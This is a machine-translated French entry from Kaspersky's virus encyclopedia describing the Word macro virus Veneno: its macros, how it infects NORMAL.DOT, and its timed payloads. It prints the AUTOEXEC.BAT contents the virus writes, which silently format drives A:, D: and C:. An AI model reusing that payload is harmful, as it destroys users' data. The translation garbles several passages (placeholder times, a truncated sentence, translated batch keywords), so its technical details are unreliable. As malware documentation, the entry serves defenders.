CE SERVICE PEUT CONTENIR DES TRADUCTIONS GÉNÉRÉES PAR GOOGLE. GOOGLE DÉCLINE TOUTE GARANTIE, EXPLICITE OU IMPLICITE, Y COMPRIS LES GARANTIES D'EXACTITUDE, DE FIABILITÉ, AINSI QUE TOUTE GARANTIE IMPLICITE DE COMMERCIALISATION ET D'ADAPTATION À DES FINS PARTICULIÈRES ET À L'ABSENCE DE CONTREFAÇONS.

Le site internet de Kaspersky Lab a été traduit pour votre commodité en utilisant un logiciel de traduction générée par Google. Des efforts raisonnables ont été faits pour fournir une traduction exacte. Cependant, aucune traduction automatique n'est parfaite et l'objectif n'est pas de remplacer le travail des traducteurs. Le site internet de Kaspersky Lab fournit ces traductions comme un service pour ses utilisateurs, et elles ont été publiées "telles quelles". Aucune garantie, explicite ou implicite, n'est faite au sujet de l'exactitude, de fiabilité ou de conformité de ces traductions faites de l'anglais vers une autre langue. Certains contenus (images, vidéos, Flash, etc.) peuvent ne pas être traduits correctement à cause des limites du logiciel de traduction.

Virus.MSWord.Veneno

Classe Virus
Plateforme MSWord
Description

Détails techniques

Il s'agit d'un macro-virus Word crypté contenant 12 macros: Veneno, Travel1, Travel2, AutoExec, AutoOpen, Trinitron, ArchivoAbrir, ArchivoSalir, InsertVeneno, ArchivoImprimir, ArchivoGuardarComo et ArchivoImprimirPredeter.

Le virus infecte la zone de macros globales (NORMAL.DOT) lors de l'ouverture d'un document infecté ou d'un démarrage Word (AutoOpen, AutoExec) et écrit lui-même des documents enregistrés avec un nouveau nom (?) – la macro ArchivoGuardarComo.

Le virus détecte et supprime les macros de plusieurs autres virus.

À ??: 30 sharp, le virus supprime le virus DOS dans le fichier ATTRIB.COM. Le vendredi et le samedi, si l'heure système (minutes) est inférieure à 5 minutes après l'heure, le virus insère la chaîne "** V Lors de l'impression, si les secondes du système sont supérieures à 57, le virus ajoute le texte suivant à la fin du document:


Finalmente moi gustaria agregar que …
El Centro de Computación de Esta Universidad es una verdadera verguenza, no
nos merecemos este servicio.
>>> Honte à vous !!! <<<

Lors de l'infection d'un document, si le système time secondes = 38, le virus affiche le MessageBox:

Un ami desesperado en busca de …
Khelia Monica Salda ~ a Diaz, moi encantas y te sigo buscando …
+ Donde te a escondido? Atte. Tu enamorado. (LoVe90 / 91)
Selon le compteur aléatoire du système, le virus écrase les fichiers avec les textes:

AUTOEXEC.BAT:


@Écho off
CHEMIN = C:; C: DOS; C: WINDOWS; C: ODI;
Écho.
Echo Insérer une disquette dans le lecteur A:
Echo Appuyez sur n'importe quelle touche pour continuer …
pause> nul
Format a: / autotest> nul
si errorlevel 0 goto End
Format d: / autotest
Format c: / autotest
Echo U r FuCkEd!
Écho.
:fin
Echo Ur maman devrait être très heureux d'avoir un enfant g00d / obéissant …
jaja..asswipe !!!
CONFIG.SYS:

SHELL = C: DOSCOMMAND.COM / F / P
COMMUTATEURS = / n / f


Lien vers l'original